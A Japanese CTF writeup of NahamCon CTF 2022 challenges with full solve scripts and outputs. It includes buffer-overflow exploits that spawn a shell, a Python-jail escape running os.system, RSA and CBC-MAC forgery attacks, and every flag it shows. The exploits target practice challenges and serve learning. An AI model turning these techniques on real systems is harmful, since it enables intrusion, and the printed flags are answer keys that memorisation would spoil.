この大会は2022/4/29 4:00(JST)~2022/5/1 4:00(JST)に開催されました。
今回もチームで参戦。結果は6743点で3272チーム中63位でした。
自分で解けた問題をWriteupとして書いておきます。
Crash Override (Warmups)
$ file crash_override crash_override: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fecdd0eead2661c3811de1965ea881c620c7fe8b, for GNU/Linux 3.2.0, not stripped
BOFでwin関数をコールする。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('challenge.nahamcon.com', 31331) else: p = process('./crash_override') elf = ELF('./crash_override') win_addr = elf.symbols['win'] payload = b'A' * 2056 payload += p64(win_addr) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) data = p.recvline().rstrip().decode() print(data)
実行結果は以下の通り。
[+] Opening connection to challenge.nahamcon.com on port 31331: Done [*] '/mnt/hgfs/Shared/crash_override' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments HACK THE PLANET!!!!!! b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x89\x12\x00\x00\x00\x00\x00\x00' flag{de8b6655b538a0bf567b79a14f2669f6} [*] Closed connection to challenge.nahamcon.com port 31331
flag{de8b6655b538a0bf567b79a14f2669f6}
Prisoner (Warmups)
$ ssh -p 31283 user@challenge.nahamcon.com The authenticity of host '[challenge.nahamcon.com]:31283 ([34.123.79.100]:31283)' can't be established. ECDSA key fingerprint is SHA256:Ui3hn8+316fHz2GZEHtmFc8CzoksXt+b1KjTA9z7fmI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[challenge.nahamcon.com]:31283,[34.123.79.100]:31283' (ECDSA) to the list of known hosts. user@challenge.nahamcon.com's password: _________________________ || || || || || ||, , ,|| || || (||/|/(\||/ || || ||| _'_`||| || || || o o || || || (|| - `||) || || || = || || || ||\___/|| || ||___||) , (||___|| /||---||-\_/-||---||\ / ||--_||_____||_--|| \ (_(||)-| SP1337 |-(||)_) -------- Hello prisoner, welcome to jail. Don't get any ideas, there is no easy way out! : ls
何も表示されない。適当に文字を入れても同じ。Ctrl + Dを押してみる。
: Traceback (most recent call last): File "/home/user/jail.py", line 27, in <module> input(": ") EOFError >>>
pyjailの問題かも。
>>> __builtins__.__dict__['__import__']('os').__dict__['system']('ls') flag.txt jail.py 0 >>> __builtins__.__dict__['__import__']('os').__dict__['system']('cat flag.txt') flag{c31e05a24493a202fad0d1a827103642} 0
flag{c31e05a24493a202fad0d1a827103642}
Wizard (Warmups)
$ nc challenge.nahamcon.com 32408 /------------------------------------------\ | Why hello passerby. I see you wish to | | pass, however you must answer my six | | questions correctly in order to do so. | \--------------- -------------------------/ \/ _,._ .||, /_ _\\ \.`',/ |'L'| | = ,. = | -,| L / || \ ,-'\"/,'`. || ,' `,,. `. ,|____,' , ,;' \| | (3|\ _/|/' _| | ||/,-'' | >-'' _,\\ ||' ==\ ,-' ,' || | V \ ,| || | |` | || | | \ || | \ \ || | | \ || | \_,-' || |___,,--")_\ || |_| ccc/ || ccc/ || First Question: What is the ASCII plaintext corresponding to this binary string? 010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011 pt =
デコードする問題が出題されるようだ。問題は以下の順で出題された。
1st: 2進数 2nd: 16進数 3rd: 8進数→数値の文字列化 4th: 数値の文字列化 5th: base64 6th: 16進数(リトルエンディアン)
#!/usr/bin/env python3 import socket from Crypto.Util.number import * from base64 import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challenge.nahamcon.com', 32408)) data = recvuntil(s, b'pt = ') print(data, end='') enc = data.split('\n')[-3] pt = ''.join([chr(int(enc[i:i+8], 2)) for i in range(0, len(enc), 8)]) print(pt) s.sendall(pt.encode() + b'\n') data = recvuntil(s, b'pt = ') print(data, end='') enc = data.split('\n')[-3] pt = bytes.fromhex(enc).decode() print(pt) s.sendall(pt.encode() + b'\n') data = recvuntil(s, b'pt = ') print(data, end='') enc = data.split('\n')[-3] pt = long_to_bytes(int(enc, 8)).decode() print(pt) s.sendall(pt.encode() + b'\n') data = recvuntil(s, b'pt = ') print(data, end='') enc = data.split('\n')[-3] pt = long_to_bytes(int(enc)).decode() print(pt) s.sendall(pt.encode() + b'\n') data = recvuntil(s, b'pt = ') print(data, end='') enc = data.split('\n')[-3] pt = b64decode(enc).decode() print(pt) s.sendall(pt.encode() + b'\n') data = recvuntil(s, b'= ') print(data, end='') enc = data.split('\n')[-3] pt = bytes.fromhex(enc)[::-1].decode() print(pt) s.sendall(pt.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
/------------------------------------------\ | Why hello passerby. I see you wish to | | pass, however you must answer my six | | questions correctly in order to do so. | \--------------- -------------------------/ \/ _,._ .||, /_ _\\ \.`',/ |'L'| | = ,. = | -,| L / || \ ,-'\"/,'`. || ,' `,,. `. ,|____,' , ,;' \| | (3|\ _/|/' _| | ||/,-'' | >-'' _,\\ ||' ==\ ,-' ,' || | V \ ,| || | |` | || | | \ || | \ \ || | | \ || | \_,-' || |___,,--")_\ || |_| ccc/ || ccc/ || First Question: What is the ASCII plaintext corresponding to this binary string? 010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011 pt = Zeros & Ones Second Question: What is the ASCII plaintext corresponding to this hex string? 4f6820776f77777721204261736520313020697320636f6f6c20616e6420616c6c2062757420486578787878 pt = Oh wowww! Base 10 is cool and all but Hexxxx Third Question: What is the ASCII plaintext corresponding to this octal string? (HINT: octal -> int -> hex -> chars) 535451006154133420162312701623127154533472040334725553046256234620151334201413347444030460563312201673122016730267164 pt = We can represent numbers in any base we want Fourth Question: What is the ACII representation of this integer? (HINT: int -> hex -> chars) 8889185069805239596091046045687553579520816794635237831028832039457 pt = This is one big 'ol integer! Fifth Question: What is the ASCII plaintext of this Base64 string? QmFzZXMgb24gYmFzZXMgb24gYmFzZXMgb24gYmFzZXMgOik= pt = Bases on bases on bases on bases :) Last Question: What is the Big-Endian representation of this Little-Endian hex string? 293a2065636e657265666669642065687420776f6e6b206f7420646f6f672073277449 plaintext (Big-Endian) = It's good to know the difference :) Very well, my friend. Here is your reward for your witts: flag{c2ed35aba037cd93381b298caa2720ee}
flag{c2ed35aba037cd93381b298caa2720ee}
Flagcat (Warmups)
$ cat flagcat ---------------------------------------- | flag{ab3cbaf45def9056dbfad706d597fb53} | ---------------------------------------- || (\__/) || (•ㅅ•) // / づ flag{ab3cbaf45def9056dbfad706d597fb53}
flag{ab3cbaf45def9056dbfad706d597fb53}
Read The Rules (Warmups)
ルールのページのHTMLソースを見ると、コメントにフラグが書いてあった。
<!-- Thank you for reading the rules! Your flag is: --> <!-- flag{90bc54705794a62015369fd8e86e557b} -->
flag{90bc54705794a62015369fd8e86e557b}
Technical Support (Warmups)
Discordに入り、#ctf-helpチャネルのトピックを見ると、フラグが書いてあった。
The GIF, meme, and emoji spam party! Oh yeah -- and CTF technical support, too. .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... Here's a flag, by the way! :) flag{081fef2f11f3eec6059e3da9117ad3f0}
flag{081fef2f11f3eec6059e3da9117ad3f0}
Exit Vim (Warmups)
$ ssh -p 32347 user@challenge.nahamcon.com The authenticity of host '[challenge.nahamcon.com]:32347 ([34.123.79.100]:32347)' can't be established. ECDSA key fingerprint is SHA256:VRizncxQmM5qnc35WTXH0Ojj4+mWyAWbnkzsgRbpoEE. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[challenge.nahamcon.com]:32347,[34.123.79.100]:32347' (ECDSA) to the list of known hosts. user@challenge.nahamcon.com's password: flag{ccf443b43322be5659150eac8bb2a18c} Connection to challenge.nahamcon.com closed.
パスワードを入力すると、Readonlyでviの画面になる。そこで:qで抜けると、フラグが表示された。
flag{ccf443b43322be5659150eac8bb2a18c}
Quirky (Warmups)
"\x[16進数]"の形式の文字列がたくさん入っており、pngのバイナリをASCIIで表現していることがわかる。バイナリに復元し、pngファイルにする。
#!/usr/bin/env python3 with open('quirky', 'r') as f: data = f.read() png = b'' for i in range(0, len(data), 4): png += bytes([int(data[i+2:i+4], 16)]) with open('flag.png', 'wb') as f: f.write(png)
png画像はQR画像になっているので、デコードすると、フラグになった。
flag{b7e2a32f5ae629dcfb1ac210d1f0c032}
Jurassic Park (Web)
http://challenge.nahamcon.com:31171/robots.txtにアクセスすると、こう書いてあった。
User-agent: * Disallow: /ingen/
http://challenge.nahamcon.com:31171/ingen/にアクセスすると、インデックス一覧にflag.txtへのリンクがある。このリンクにアクセスすると、フラグが表示された。
flag{c2145f65df7f5895822eb249e25028fa}
Babiersteps (Binary Exploitation)
$ file babiersteps babiersteps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5dfaf4bb792d3e47f45df4ad36b56c07822b7a70, for GNU/Linux 3.2.0, not stripped
Ghidraでデコンパイルする。
undefined8 main(void) { undefined local_78 [112]; puts("Everyone has heard of gets, but have you heard of scanf?"); __isoc99_scanf(&DAT_00402049,local_78); return 0; } void win(void) { execve("/bin/sh",(char **)0x0,(char **)0x0); return; }
BOFでwin関数をコールする。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('challenge.nahamcon.com', 32607) else: p = process('./babiersteps') elf = ELF('./babiersteps') win_addr = elf.symbols['win'] payload = b'A' * 120 payload += p64(win_addr) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to challenge.nahamcon.com on port 32607: Done [*] '/mnt/hgfs/Shared/babiersteps' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Everyone has heard of gets, but have you heard of scanf? b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x11@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls babiersteps bin dev etc flag.txt lib lib32 lib64 libx32 usr $ cat flag.txt flag{4dc0a785da36bfcf0e597917b9144fd6}
flag{4dc0a785da36bfcf0e597917b9144fd6}
XORROX (Cryptography)
暗号処理の概要は以下の通り。
・key: flagの長さの1~256のランダム整数配列 ・xorrox: [1, xorrox[0] ^ key[1], xorrox[1] ^ key[2], ...] →出力 ・enc: [flag[0] ^ key[0], flag[1] ^ key[1], ...] →出力
xorroxからkeyを求め、flagを割り出す。
#!/usr/bin/env python3 xorrox = [1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56] enc = [26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119] key = [ord('f') ^ enc[0]] for i in range(len(xorrox) - 1): key.append(xorrox[i] ^ xorrox[i + 1]) flag = '' for i in range(len(enc)): flag += chr(enc[i] ^ key[i]) print(flag)
flag{21571dd4764a52121d94deea22214402}
Unimod (Cryptography)
0以上0xFFFD未満の範囲でシフトした、UNICODEを使った暗号になっている。フラグは"f"から始まることを前提にシフト数を算出し、復号する。
#!/usr/bin/env python3 with open('out', encoding='utf-8') as f: enc = f.read() k = ord(enc[0]) - ord('f') flag = '' for c in enc: flag += chr(ord(c) - k) print(flag)
flag{4e68d16a61bc2ea72d5f971344e84f11}
Baby RSA Quiz (Cryptography)
$ nc challenge.nahamcon.com 30380 Welcome to the Baby RSA Quiz! Choose Option 0 if you're asking yourself "what in the world is RSA?" or maybe want to run through the basics. Choose Option 1 if you're comfortable with RSA, feel free to skip to the quiz Choose Option 2 if Rivest, Shamir, or Adleman hurt your feelings, feel free to exit the program /------------------------\ | Baby RSA MENU: | | (0) Teach me some RSA! | | (1) Skip to quiz | | (2) Quit | \------------------------/ Choice: 1 ___________________________________________________________________________________ I see you are ready to take my quiz! This quiz is comprised of three parts with each part giving you a poor implementation of RSA. If you are unfamiliar with any of these values given, it might be worthwhile to check out option 0 in the main menu. --------- | Part 1: | --------- n = 183179313325829 e = 65537 ct = 106411454876432 What is the plaintext (in integer form)?
RSA暗号に関する問題が何問か出題されるようだ。1問ずつ問題のタイプを見て、解いていく。
結果以下のようにして解くことができた。
Part1: それほど大きくないnを素因数分解して復号する。 Part2: nがctに比べて極度に大きく、eが小さいため、Low Public-Exponent Attackで復号する。 Part3: p, qの値が近いと推測できるため、Fermat法でnを素因数分解し復号する。
#!/usr/bin/env python3 import socket import sympy import gmpy2 from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n): x = isqrt(n) + 1 y = isqrt(x * x - n) while True: w = x * x - n - y * y if w == 0: break elif w > 0: y += 1 else: x += 1 return x - y, x + y s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challenge.nahamcon.com', 30380)) data = recvuntil(s, b': ') print(data + '1') s.sendall(b'1\n') #### Part 1 #### data = recvuntil(s, b'? ') print(data, end='') n = int(data.split('\n')[-5].split(' ')[-1]) e = int(data.split('\n')[-4].split(' ')[-1]) ct = int(data.split('\n')[-3].split(' ')[-1]) fac = sympy.factorint(n) phi = 1 for p in fac.keys(): phi *= p - 1 d = inverse(e, phi) m = pow(ct, d, n) print(m) s.sendall(str(m).encode() + b'\n') #### Part 2 #### data = recvuntil(s, b'? ') print(data, end='') n = int(data.split('\n')[-5].split(' ')[-1]) e = int(data.split('\n')[-4].split(' ')[-1]) ct = int(data.split('\n')[-3].split(' ')[-1]) m, ok = gmpy2.iroot(ct, e) assert ok == True print(m) s.sendall(str(m).encode() + b'\n') #### Part 3 #### data = recvuntil(s, b'? ') print(data, end='') n = int(data.split('\n')[-5].split(' ')[-1]) e = int(data.split('\n')[-4].split(' ')[-1]) ct = int(data.split('\n')[-3].split(' ')[-1]) p, q = fermat(n) phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, n) print(m) s.sendall(str(m).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Welcome to the Baby RSA Quiz! Choose Option 0 if you're asking yourself "what in the world is RSA?" or maybe want to run through the basics. Choose Option 1 if you're comfortable with RSA, feel free to skip to the quiz Choose Option 2 if Rivest, Shamir, or Adleman hurt your feelings, feel free to exit the program /------------------------\ | Baby RSA MENU: 1 | | (0) Teach me some RSA! | | (1) Skip to quiz | | (2) Quit | \------------------------/ Choice: ___________________________________________________________________________________ I see you are ready to take my quiz! This quiz is comprised of three parts with each part giving you a poor implementation of RSA. If you are unfamiliar with any of these values given, it might be worthwhile to check out option 0 in the main menu. --------- | Part 1: | --------- n = 159191162466053 e = 65537 ct = 99385601863184 What is the plaintext (in integer form)? 1751476325 ___________________________________________________________________________________ Nice job on the first part! Those numbers weren't really as big as we thought. --------- | Part 2: | --------- n = 24984016574165091383659121350372722844491792441558268627623314282188075417213017730388217530387201825717484477718246661857514551807383331824072796597678533394000156642229787094718952087018940674952143644690939527128361667235104513497676419390682320111172511291850694812189329931706938398634572906218360147166662125192644541976968379566064657631961257431583206870631035843799483405172084644858468877677969150232809160423382688368920429057630928695628126301190789044195679767351589466345828651337802157728006421315029106465101298622603130118834498134842499088538282609982410403163248819067499191302752920116031137974037 e = 3 ct = 26480272848384180570411447917437668635135597564435407928130220812155801611065536704781892656033726277516148813916446180796750368332515779970289682282804676030149428215146347671350240386440440048832713595112882403831539777582778645411270433913301224819057222081543727263602678819745693540865806160910293144052079393615890645460901858988883318691997438568705602949652125 What is the plaintext (in integer form)? 298062599825784604055397390266655425259311588881437826967301557850952291872230439875703282133697119479127924133583415243365 ___________________________________________________________________________________ The small-e attack is a classic! Although making e = 3 may make calculations quicker, it is definitely not secure. --------- | Part 3: | --------- q = p + 2 while !(isPrime(q)): q += 2 n = p*q n = 125253052309723515584399398245796956152920632334318032203282566821486493046077868726134318624025089938513384034656193110767299719634775553784162644522384365838080248965701000989606989222007684908831838126823273831721995120121403482982460915710770748895536436284303294739603553819376912637466336366803139597509 e = 65537 ct = 45120659514410298868640908059287900497543551528148114446292389917871380747934695142564288284428054559394115532707340863106560612572251025725020670321936839902721578278074954438908394211946812264915530464170847385355154995286098080957850099022266261656195443326388240407695542251698589095606905347893036630625 What is the plaintext (in integer form)? 4389692525618482461496676054452486268288388260878585075412513298672841265430477651614481831919140832735218408683300129 Congratulations - you have passed my quiz. Here is your flag: flag{5bf62a062e66a7fb37304e1b11643c08}
flag{5bf62a062e66a7fb37304e1b11643c08}
MAC and Cheese (Cryptography)
$ nc challenge.nahamcon.com 30134 Welcome to the cheese community. How may we cheese you today? CHEESY MENU: (0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one) (1) Give me a MAC for my cheese (we will send a CBC-MAC of your message) (2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) (3) Quit (I don't liek cheese) Which would you like to do? 1 ---------------- | CBC-MAC Oracle | ---------------- Send me a message that is exactly 7 blocks (16*7 bytes) in size and I will tell you the tag (CBC-MAC) for it. Messages should be sent in byte format and the tag will be sent back in hex format. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA CBC-MAC(msg): c422a43e1619370a8f4e4c2a3d24c683 CHEESY MENU: (0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one) (1) Give me a MAC for my cheese (we will send a CBC-MAC of your message) (2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) (3) Quit (I don't liek cheese) Which would you like to do? 2 ---------------------- | Verification Oracle | ---------------------- Send me a message and it's tag to verify that you belong to the cheese community The format message and tag format should be [message][tag] without the brackets of course. The message should be at least one block (16 bytes) and the tag should be 16 bytes. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc422a43e1619370a8f4e4c2a3d24c683 incorrect tag for message provided. Message = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc422a43e1619370a' Tag = b'8f4e4c2a3d24c683' Length = 144 CHEESY MENU: (0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one) (1) Give me a MAC for my cheese (we will send a CBC-MAC of your message) (2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) (3) Quit (I don't liek cheese) Which would you like to do?
7ブロック分のCBC-MACが取得できることを利用して、8ブロック分のCBC-MACをメッセージと合わせ、認証する必要がある。
平文1ブロック目 ^ IV(0) --(AES暗号)--> 暗号1ブロック目 平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目 平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目 平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目 平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目 平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目 平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag) 平文1ブロック目 ^ IV(0) --(AES暗号)--> 暗号1ブロック目 平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目 平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目 平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目 平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目 平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目 平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag) 平文8ブロック目 ^ 暗号7ブロック目 --(AES暗号)--> 暗号8ブロック目 :
平文8ブロック目 = 暗号7ブロック目 ^ 平文1ブロック目となるように指定すると、以下のようになる。
平文1ブロック目 ^ IV(0) --(AES暗号)--> 暗号1ブロック目 平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目 平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目 平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目 平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目 平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目 平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag) 平文8ブロック目 ^ 暗号7ブロック目 --(AES暗号)--> 暗号1ブロック目 平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目 平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目 平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目 平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目 平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目 平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)
これを7回繰り返せば、同じタグで対応できるはず。
#!/usr/bin/env python3 import socket from Crypto.Util.strxor import strxor def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challenge.nahamcon.com', 30134)) data = recvuntil(s, b'do? ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b'format.\n').rstrip() print(data) msg = 'A' * (16 * 7) print(msg) s.sendall(msg.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) tag = bytes.fromhex(data.split(' ')[-1]) data = recvuntil(s, b'do? ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'bytes.\n').rstrip() print(data) msg_tag = msg.encode() for _ in range(7): msg_tag += strxor(tag, msg.encode()[:16]) msg_tag += msg.encode()[16:] msg_tag += tag print(msg_tag) s.sendall(msg_tag + b'\n') for _ in range(6): data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Welcome to the cheese community. How may we cheese you today? CHEESY MENU: (0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one) (1) Give me a MAC for my cheese (we will send a CBC-MAC of your message) (2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) (3) Quit (I don't liek cheese) Which would you like to do? 1 ---------------- | CBC-MAC Oracle | ---------------- Send me a message that is exactly 7 blocks (16*7 bytes) in size and I will tell you the tag (CBC-MAC) for it. Messages should be sent in byte format and the tag will be sent back in hex format. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA CBC-MAC(msg): c422a43e1619370a8f4e4c2a3d24c683 CHEESY MENU: (0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one) (1) Give me a MAC for my cheese (we will send a CBC-MAC of your message) (2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) (3) Quit (I don't liek cheese) Which would you like to do? 2 ---------------------- | Verification Oracle | ---------------------- Send me a message and it's tag to verify that you belong to the cheese community The format message and tag format should be [message][tag] without the brackets of course. The message should be at least one block (16 bytes) and the tag should be 16 bytes. 